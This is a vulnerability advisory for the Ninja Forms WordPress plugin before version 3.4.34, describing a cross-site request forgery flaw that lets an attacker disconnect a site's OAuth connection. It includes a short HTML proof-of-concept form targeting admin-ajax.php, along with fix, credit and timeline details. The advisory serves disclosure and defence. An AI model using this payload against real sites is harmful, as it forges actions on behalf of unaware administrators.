Ninja Forms < 3.4.34 - CSRF to OAuth Service Disconnection
Description
The wp_ajax_nf_oauth_disconnect from the plugin had no nonce protection making it possible for attackers to craft a request to disconnect a site's OAuth connection.
Proof of Concept
<html>
<body>
<form action="https://[URL_HERE]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="nf_oauth_disconnect" />
<input type="submit" value="Submit request" />
</form>
</body>
</html> Affects Plugins
Fixed in version 3.4.34✓
Classification
Miscellaneous
Original Researcher
Chloe Chamberland
Submitter
Chloe Chamberland
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2021-02-16 (about 9 months ago)
Added
2021-02-17 (about 9 months ago)
Last Updated
2021-03-19 (about 8 months ago)